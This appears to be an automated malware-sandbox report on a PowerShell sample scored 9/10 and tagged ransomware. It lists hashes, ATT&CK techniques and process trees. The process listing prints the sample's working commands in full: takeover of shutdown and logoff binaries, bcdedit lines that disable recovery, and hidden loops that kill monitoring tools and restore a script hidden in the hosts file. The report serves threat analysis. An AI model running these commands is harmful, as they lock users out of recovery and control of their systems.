dedca95b1c824184bac5870a1e12686c8d9fd4090070edf7cb96eb339e8ac34f

Analysis

user interaction
yes
max time kernel
21s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 17:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
target.ps1
Size 12KB
Sample260701-wkllysc14v
SHA256 dedca95b1c824184bac5870a1e12686c8d9fd4090070edf7cb96eb339e8ac34f
MD5 ba308282055c8dfbdea4bd6821d5843b
SHA1 aba314b41460213c0704155010a45e6b9d24d39e
SHA512 8f77986bd52d8ed1f2972ef16b77500b3df1a989cad12014fb398e86c1a8ca56f7061e05ec0fbd9a4ac802aa7c00672b8d82b09589b5b1aacda37a4974da34ed
SSDEEP 192:Mt14EX0PIVal6JmpxTAZ8Wm2ocMSKLcynIrDmgAQe5EmIvvf+eTY8fvKiNiRHBk6:tgV5JMJcMSKLHInAomIvu4P8uuyE
TLSH
T16942A645AB15526585B29B24DDC2A29AFF3B003F11B75200B5ADC2907FB253ACB39ECC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

discovery evasion execution exploit ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
6816	bcdedit.exe
5644	bcdedit.exe
4300	bcdedit.exe
4544	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4256	PowerShell.exe
6880	powershell.exe
5132	powershell.exe
4628	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	PowerShell.exe

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
7144	icacls.exe
3916	takeown.exe
4608	icacls.exe
6172	takeown.exe
6892	icacls.exe
5464	takeown.exe
6596	icacls.exe
4664	takeown.exe

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6172	takeown.exe
6892	icacls.exe
5464	takeown.exe
6596	icacls.exe
4664	takeown.exe
7144	icacls.exe
3916	takeown.exe
4608	icacls.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\shutdown.exe	PowerShell.exe
File opened for modification	C:\Windows\system32\logoff.exe	PowerShell.exe
File opened for modification	C:\Windows\system32\tsdiscon.exe	PowerShell.exe
File opened for modification	C:\Windows\system32\reset.exe	PowerShell.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
4256	PowerShell.exe
4256	PowerShell.exe
6880	powershell.exe
6880	powershell.exe
5132	powershell.exe
5132	powershell.exe
5132	powershell.exe
4628	powershell.exe
4628	powershell.exe
4628	powershell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe
4256	PowerShell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4256	PowerShell.exe
Token: SeTakeOwnershipPrivilege	4256	PowerShell.exe
Token: SeBackupPrivilege	4256	PowerShell.exe
Token: SeRestorePrivilege	4256	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	4256	PowerShell.exe
Token: SeSecurityPrivilege	4256	PowerShell.exe
Token: SeTakeOwnershipPrivilege	4256	PowerShell.exe
Token: SeLoadDriverPrivilege	4256	PowerShell.exe
Token: SeSystemProfilePrivilege	4256	PowerShell.exe
Token: SeSystemtimePrivilege	4256	PowerShell.exe
Token: SeProfSingleProcessPrivilege	4256	PowerShell.exe
Token: SeIncBasePriorityPrivilege	4256	PowerShell.exe
Token: SeCreatePagefilePrivilege	4256	PowerShell.exe
Token: SeBackupPrivilege	4256	PowerShell.exe
Token: SeRestorePrivilege	4256	PowerShell.exe
Token: SeShutdownPrivilege	4256	PowerShell.exe
Token: SeDebugPrivilege	4256	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	4256	PowerShell.exe
Token: SeRemoteShutdownPrivilege	4256	PowerShell.exe
Token: SeUndockPrivilege	4256	PowerShell.exe
Token: SeManageVolumePrivilege	4256	PowerShell.exe
Token: 33	4256	PowerShell.exe
Token: 34	4256	PowerShell.exe
Token: 35	4256	PowerShell.exe
Token: 36	4256	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	4256	PowerShell.exe
Token: SeSecurityPrivilege	4256	PowerShell.exe
Token: SeTakeOwnershipPrivilege	4256	PowerShell.exe
Token: SeLoadDriverPrivilege	4256	PowerShell.exe
Token: SeSystemProfilePrivilege	4256	PowerShell.exe
Token: SeSystemtimePrivilege	4256	PowerShell.exe
Token: SeProfSingleProcessPrivilege	4256	PowerShell.exe
Token: SeIncBasePriorityPrivilege	4256	PowerShell.exe
Token: SeCreatePagefilePrivilege	4256	PowerShell.exe
Token: SeBackupPrivilege	4256	PowerShell.exe
Token: SeRestorePrivilege	4256	PowerShell.exe
Token: SeShutdownPrivilege	4256	PowerShell.exe
Token: SeDebugPrivilege	4256	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	4256	PowerShell.exe
Token: SeRemoteShutdownPrivilege	4256	PowerShell.exe
Token: SeUndockPrivilege	4256	PowerShell.exe
Token: SeManageVolumePrivilege	4256	PowerShell.exe
Token: 33	4256	PowerShell.exe
Token: 34	4256	PowerShell.exe
Token: 35	4256	PowerShell.exe
Token: 36	4256	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	4256	PowerShell.exe
Token: SeSecurityPrivilege	4256	PowerShell.exe
Token: SeTakeOwnershipPrivilege	4256	PowerShell.exe
Token: SeLoadDriverPrivilege	4256	PowerShell.exe
Token: SeSystemProfilePrivilege	4256	PowerShell.exe
Token: SeSystemtimePrivilege	4256	PowerShell.exe
Token: SeProfSingleProcessPrivilege	4256	PowerShell.exe
Token: SeIncBasePriorityPrivilege	4256	PowerShell.exe
Token: SeCreatePagefilePrivilege	4256	PowerShell.exe
Token: SeBackupPrivilege	4256	PowerShell.exe
Token: SeRestorePrivilege	4256	PowerShell.exe
Token: SeShutdownPrivilege	4256	PowerShell.exe
Token: SeDebugPrivilege	4256	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	4256	PowerShell.exe
Token: SeRemoteShutdownPrivilege	4256	PowerShell.exe
Token: SeUndockPrivilege	4256	PowerShell.exe
Token: SeManageVolumePrivilege	4256	PowerShell.exe
Token: 33	4256	PowerShell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4256 wrote to memory of 4184	4256	PowerShell.exe	90
PID 4184 wrote to memory of 3704	4184	csc.exe	91
PID 4256 wrote to memory of 4664	4256	PowerShell.exe	92
PID 4256 wrote to memory of 7144	4256	PowerShell.exe	93
PID 4256 wrote to memory of 3916	4256	PowerShell.exe	94
PID 4256 wrote to memory of 4608	4256	PowerShell.exe	95
PID 4256 wrote to memory of 6172	4256	PowerShell.exe	96
PID 4256 wrote to memory of 6892	4256	PowerShell.exe	97
PID 4256 wrote to memory of 5464	4256	PowerShell.exe	98
PID 4256 wrote to memory of 6596	4256	PowerShell.exe	99
PID 4256 wrote to memory of 4420	4256	PowerShell.exe	100
PID 4420 wrote to memory of 2896	4420	csc.exe	101
PID 4256 wrote to memory of 2440	4256	PowerShell.exe	102
PID 2440 wrote to memory of 2864	2440	csc.exe	103
PID 4256 wrote to memory of 2904	4256	PowerShell.exe	105
PID 2904 wrote to memory of 4392	2904	csc.exe	106
PID 4256 wrote to memory of 6880	4256	PowerShell.exe	107
PID 4256 wrote to memory of 5132	4256	PowerShell.exe	109
PID 4256 wrote to memory of 6816	4256	PowerShell.exe	111
PID 4256 wrote to memory of 5644	4256	PowerShell.exe	112
PID 4256 wrote to memory of 4300	4256	PowerShell.exe	113
PID 4256 wrote to memory of 4544	4256	PowerShell.exe	114
PID 4256 wrote to memory of 4628	4256	PowerShell.exe	115
PID 4256 wrote to memory of 4736	4256	PowerShell.exe	116

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4256
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u3x1lmlp\u3x1lmlp.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES91AC.tmp" "c:\Users\Admin\AppData\Local\Temp\u3x1lmlp\CSCAAD5F3C6186E4EDAA4B2BBE051EB7E1F.TMP"
    3⤵
    PID:3704
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\shutdown.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4664
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\shutdown.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:7144
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\logoff.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3916
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\logoff.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4608
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\tsdiscon.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:6172
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\tsdiscon.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:6892
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\reset.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:5464
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\reset.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:6596
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vbzu44dc\vbzu44dc.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4420
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES98E0.tmp" "c:\Users\Admin\AppData\Local\Temp\vbzu44dc\CSC49CA511149494EC88CE84B5372263DF.TMP"
    3⤵
    PID:2896
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sw1hxyu0\sw1hxyu0.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA17B.tmp" "c:\Users\Admin\AppData\Local\Temp\sw1hxyu0\CSC56273B3CEE9C48CAA53C85C5C6B2A1EA.TMP"
    3⤵
    PID:2864
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2jgjcsn4\2jgjcsn4.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA6E9.tmp" "c:\Users\Admin\AppData\Local\Temp\2jgjcsn4\CSC9F6B285C5A52421E94B96B33FB6041D2.TMP"
    3⤵
    PID:4392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:6880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { # Kill taskkill, taskmgr, process explorer, etc. $badProcs = @("taskkill","taskmgr","procexp","procmon","psexec","wmic","cscript","wscript","powershell_ise") foreach ($p in $badProcs) { Get-Process -Name $p -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } # Re-apply shutdown blocker and overwrite executables if restored try { $blocker = [ShutdownBlocker]; $blocker::Block() } catch {} $system32 = [Environment]::SystemDirectory $exes = @("shutdown.exe","logoff.exe") foreach ($e in $exes) { $path = Join-Path $system32 $e if (Test-Path $path) { $content = Get-Content $path -ErrorAction SilentlyContinue if ($content -notmatch "vm_keeper") { takeown /F $path /A 2>$null; icacls $path /grant Administrators:F /t 2>$null $dummy = "@echo off`npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -File `"C:\Windows\Temp\vm_keeper.ps1`"`nexit /b 0" Set-Content -Path $path -Value $dummy -Force } } } Start-Sleep -Seconds 30 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5132
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set {globalsettings} advancedoptions false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6816
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set {globalsettings} optionsedit false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5644
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4300
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { if (-not (Test-Path "C:\Windows\Temp\vm_keeper.ps1")) { # Restore from a hidden alternate data stream (store in hosts file) $backup = [System.IO.File]::ReadAllText("C:\Windows\System32\drivers\etc\hosts") if ($backup -match "KEEPER_START(.*)KEEPER_END") { [System.IO.File]::WriteAllText("C:\Windows\Temp\vm_keeper.ps1", $matches[1]) } } Start-Sleep -Seconds 5 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4628
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force /target:computer
  2⤵
  PID:4736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 d4a4662e30ee7896a413668bd7c3ffc07da6c9493181434e7ef2611d82f334b8
MD5 7afc600898336ce226129776cc71d49f
SHA1 313732703b906e177ebc859736b65ee6a8199988
SHA512 e13da5684013bac033bc29503c2cd364de74e6dcaf9ff1028653c4819ffe9df76c0f5682ce828fdd64b8ff9be7d0ae32818db4e239702fb62a966323d8aac046
TLSH
T1DD114433F3CC86A4DC59413650CEAC1136B78BCB409FCE9B6B84C165A42F685CF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1ceda18bd0feba07e5b9baf9abb37dd4fc9fb200b97800ae89525b05ed930c73
MD5 98ffca36bf5ef91323bcb5cf39fd9473
SHA1 d0ea0a128df81ee6385cca1a781f6deaa73ac729
SHA512 70ba7026c065924b9fb69c0394801c1b380746c8b0c22b0984147d2cd1ee5affca49b450a5471b4a8b487b7b95ad288c34a8e2cf47eb80366ea91b43e913795e
TLSH
T17341A877F3DC8620C89E403B1089AC1936B6C7E7809E8FA7BB84D158B13F6A9CE65554
MD5 SHA1 SHA512 TLSH

Submit Download

2jgjcsn4.dll

Path C:\Users\Admin\AppData\Local\Temp\2jgjcsn4\2jgjcsn4.dll
Size 3KB
SHA256 fbec098870318170ba25903d2e719954668ff8539ecc137ffdd5b45769b92a67
MD5 33dcf28ff0404388dad71e8e19c552b4
SHA1 adde7268e28b6e45f1fa3364db14300d3f1fd2e3
SHA512 eb70448bbc84d6c3f41364545197a365aab57bca940e5c9750daa81642159810cf2ab54ead697fdbbaaa045608fdf79a2eec1cd9424ca05e5b154d276e53ce2a
TLSH
T1D3712217A3E8455AE0BF4B346EF7431667B4F8208E67935A4DD10219AC557305E31BF4
MD5 SHA1 SHA512 TLSH

Submit Download

RES91AC.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES91AC.tmp
Size 1KB
SHA256 29ed61fa2e07bf47c835c015bbaca565670c95b1cf9ce221b18303dc0b9ae032
MD5 836bf8328047425abf335152de8658b3
SHA1 e4503f163bdaa927df9a8437634231b1d43522da
SHA512 6552469c1d4600e812b7028f944c27c94734fa99cc2897b5ebd6e170f924aefb4ab98876a07d1c01f040bd70348c53c1e3dfb7bac5316a86da25e129ab710f8d
TLSH
T186216A0593ED471EF07357316DFA032B9234FD59AFA6A75A854442282C41504EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

RES98E0.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES98E0.tmp
Size 1KB
SHA256 412f4b325028c1cf0de991327b3061c794892a1fd3d6860ce4344f5372b4ed1f
MD5 c23a78a6b1a3b69f091c2663729c7793
SHA1 c04498ef8f029656d848453d20b56d933461f910
SHA512 6df162245d731c78b41b9dae6fa49ee1e8a35b5ba33e72f3e1b5cb75a8569a9c1b8ec337a399a4a4a3466e3a41f94d642c6bd6ad04bc09815087ff8f873b5b4e
TLSH
T1CC21EF0693E94B0FF0774732A9F6035F9238FC94EFA2A75E8940022D2C41244EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

RESA17B.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESA17B.tmp
Size 1KB
SHA256 298c6279258c1199f419eb0e1cda9f50498d9aae416b02f5cf5d1c50a4ba3998
MD5 65dee45025a080216ee56540b30ffc25
SHA1 e8d0ff64f03c636a20b5e17173eb7711d0b3e2d1
SHA512 2ec6febaefd2c50fd152a7ab884d333bb1fea5e31f63a7570d7e67c25c109f18962d345662b15d2eb1a4b83dd76ccd5bb6a9a46c193e277163fac545432f99e5
TLSH
T13F21C90A83E9471AF073073169F6572FA239FDA5EFE2939B954402292C42504EEE1F72
MD5 SHA1 SHA512 TLSH

Submit Download

RESA6E9.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESA6E9.tmp
Size 1KB
SHA256 579c2c5d0fab4a5243251eaeb6c0d5b63173cf895165b2ee046c6e8055abb051
MD5 01c26e0fd82793e958aa67c666173adb
SHA1 531348cc2a67330948c8c1d0055fbf1711bb8ced
SHA512 a101cb579050ed48044e2b592d26b22a9d6e4313910465964106dd2b119124ccd8f4fd9735f1ea69405a1ddcfa99af6b72ced9010182b177c012feecea1c4157
TLSH
T1EE21AF0593E9871FF0734B3279FA436F9674FD64EFA1A35B854042282C52504EEB0BB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_uayfrzp0.x3b.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uayfrzp0.x3b.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

sw1hxyu0.dll

Path C:\Users\Admin\AppData\Local\Temp\sw1hxyu0\sw1hxyu0.dll
Size 3KB
SHA256 a378b42fc9fc6e3ed9537d264555112aa15649063e55705b3a048cffb2d8dd10
MD5 f64b7bebe86838e5285dc209b4518976
SHA1 cc98218d20409e9763453999d20cb28e732bddce
SHA512 0832e544dece9a06ab1853ed393870fabdc59efeb006eb92302b61c96e0469436b2ad0eaaadf3454d3a5728a70a9d5d356a7e449a6da72d3ea0efbc7ad045b60
TLSH
T19671C81AA3F84726F46A0770AEF7075326B5FC108B73939E0880421C6C652205D72BB2
MD5 SHA1 SHA512 TLSH

Submit Download

u3x1lmlp.dll

Path C:\Users\Admin\AppData\Local\Temp\u3x1lmlp\u3x1lmlp.dll
Size 4KB
SHA256 d7d5937a162032c22b2d1a9bef50ca2f399e1afd8ddc73fe487fd233a23419fa
MD5 496dcad5ef112f626a6b7482725c127d
SHA1 35b674fb8d3a88fc7f43012e725c1f00882ceee8
SHA512 aac83e1a5852a21d23f7e08a1ded3c0081c2904fd51fc4979835f08ffe7c40ab1405302ff079069e1808fa789f9b0e969e79e8acf9b4e30e65671008fca1b93b
TLSH
T14A817107ABFC0A26E4B70774BFF3071213B4F8189F73976F149181292CE56400E26B66
MD5 SHA1 SHA512 TLSH

Submit Download

vbzu44dc.dll

Path C:\Users\Admin\AppData\Local\Temp\vbzu44dc\vbzu44dc.dll
Size 3KB
SHA256 a3776f7c8c578452bac64cdb5141ee2223ed972cc4d40378bcef747b0f180651
MD5 6344c068fa8ede0d3d1f71e4acba4f86
SHA1 cbf5ba4a16ec9bad178d0f0b4c77c0f99cf5adfc
SHA512 5b1a3d34f8f5326d1356f1be7b882cb383c1309da5fb97d6eae2474100d85dca240324a6ba43bfbbe2e02ca5b81d0e86b579f99b661c6ffd8d69b02f189cf999
TLSH
T1A371E01697DC4627E0AF07356EF303172774F8509EB7A76F099453296C913601D32BB0
MD5 SHA1 SHA512 TLSH

Submit Download

2jgjcsn4.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\2jgjcsn4\2jgjcsn4.0.cs
Size 647B
SHA256 1fa82e05df0472d6560e9350f0a6812cc1fd53429452ab1678ff5ba1c0350800
MD5 a07fae728a7a6224365f916bec59ae44
SHA1 ae733de114c4a51106f3bd093f644f18445f19b1
SHA512 1481ad06ed8b2bb3d7c95e0d203e6f4c12265292813cf941e39377a8ce67a47b3fd3fd1dde24fcffb21aaca61b8c8f7321a7ba443767d4e262f9b9ef6810c429
TLSH
T13AF04C64B3254D5084725628AC59A168F617407302A62A45F6AE0211EF7B129D2B4F5C
MD5 SHA1 SHA512 TLSH

Submit Download

2jgjcsn4.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\2jgjcsn4\2jgjcsn4.cmdline
Size 369B
SHA256 8dc3b8f3e130759b5b6063f77eb89b96d48e0747a354ca9bade71028a5436683
MD5 d9b12630751b77be06cf8909584dcfb3
SHA1 e90ba3cf1308d43e7298c02607e07d67ade0bb56
SHA512 1943de677edd73c042d3458265948d582567b326f03f13743254b7e581608775ab4c9f4ad3f7501005d75866a769626cc133e5a194f090cc6ecb48c67333e48b
TLSH
T123E0682B424AC27D11DD1C1B31BEC4AC83B2064339413F885840850DD227000B7D1B91
MD5 SHA1 SHA512 TLSH

Submit Download

CSC9F6B285C5A52421E94B96B33FB6041D2.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\2jgjcsn4\CSC9F6B285C5A52421E94B96B33FB6041D2.TMP
Size 652B
SHA256 a765406523a272160f2f9afe46994b84135c1b458674b628cbbaa56868723c4c
MD5 65db271cc18809daf3625f4d0e0a3677
SHA1 68ba90234179919beb28e9601d9b742cd7a9c3eb
SHA512 ce86ae6bf9f1da6d5a2b5a13d178b801fff5a091ea7a84e71e101b1a7c1c02be55073dacd49c42c7da63fea3a9d31a7a1bf2ae5bd95e2a0582618b1ab512db75
TLSH
T126F05E0963F8120EF0F74B30BDF683A395A8FC74DE7293ED5490031968649109972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSC56273B3CEE9C48CAA53C85C5C6B2A1EA.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\sw1hxyu0\CSC56273B3CEE9C48CAA53C85C5C6B2A1EA.TMP
Size 652B
SHA256 93cbfda82f48b05556fc0c7df807b2a8627c688565b821424d73e609e2c672b6
MD5 72b24c3957f3789228cdaacc3c4aafe9
SHA1 6c8ac4490a08b1803b6b0db8fe4fce79b5f6d2f7
SHA512 3d697d8054a07b8d99923fe1fe953448dd46b0f937b635ceac40ea006ffb0d5bde46da02ba4516430efbfe78a93c2ee01a4f66a900cb0e05ed5e899f0d76dff3
TLSH
T168F05E0A63F8020EF0F75B70BDF64363A1A9BC65DE7293ED6540031A28655108972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

sw1hxyu0.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\sw1hxyu0\sw1hxyu0.0.cs
Size 343B
SHA256 8f8bb45b4717e93bf9dec52ce3c79ec153df04ab8286ee7c2467001f3488c60f
MD5 0c81806dea6e0124dad77a909229236d
SHA1 08ed23a328b1c243ec01bde0a6b27d1e1ce9afdc
SHA512 3638f3782922541a6a44fd2d82f7f7fce6879442354da34d18e400f0538bca815f1c17ba7701600292c03e61ed44a6c0989f7fec19ead565f9c3ba53d3b958a0
TLSH
T1DBE026E813BAAF1450224382DC0080A9FAA35039533BD250B9DDD2147FBE4188235F19
MD5 SHA1 SHA512 TLSH

Submit Download

sw1hxyu0.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\sw1hxyu0\sw1hxyu0.cmdline
Size 369B
SHA256 95a538b6960b05e51a0a463f0c160249527724978d2eafa8dedd93df09f0d610
MD5 2a1197d285cd64b6dda38d38635cc014
SHA1 96a564a5e2468a917875506fbd8e74952dc89121
SHA512 a9c14cadd5b55de9e152c76e57c506c1453c4a34151a66d3799878846263379286c5e231789c59112198a064cebe8885fa5e184a3ce9f46a4d87ae6a3e44e147
TLSH
T142E0C66E4247C37E01ED101B23FAD5ACE27307832D827FCC9050940FE02B4002BD27A1
MD5 SHA1 SHA512 TLSH

Submit Download

CSCAAD5F3C6186E4EDAA4B2BBE051EB7E1F.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\u3x1lmlp\CSCAAD5F3C6186E4EDAA4B2BBE051EB7E1F.TMP
Size 652B
SHA256 08c6cdadbe1b37f95b903be276fe8b0728274f7d4d4f78fa59a3c8f2f6756dcf
MD5 6f0376465cf8674fe410c5df027b9b8f
SHA1 075af3a78b3214069657406cf09bca72a59b4293
SHA512 a955d56dbc7428ca61fca981254084e85feaaaf040ce0f7d0f25397df23c717d6c849d5f7b9f6a3e3d673961346898ecb72bc3e1b4b0dbff1fecb1bd7a22fefb
TLSH
T179F05E0963FC020EF4F35B30BEF6436391A9BC65DE32A3ED1450032928645108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

u3x1lmlp.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\u3x1lmlp\u3x1lmlp.0.cs
Size 1KB
SHA256 2dbc0a67d963f6c18a462bca497bad10c22894c5ebc28d50969ddab31c66c3f2
MD5 8452a041d6a0c3c7e16e1de04a246277
SHA1 46f36ca69e576f044420d92adb697dc1e9fd28bf
SHA512 4ce01ac9584979574da19b7d808202e78b3bfca578623846209822a0cab07be81a97f3445ea1c37d6d5b4a7e798f8c9196c6cdeccbd541da63c1cd4b2c79d9a8
TLSH
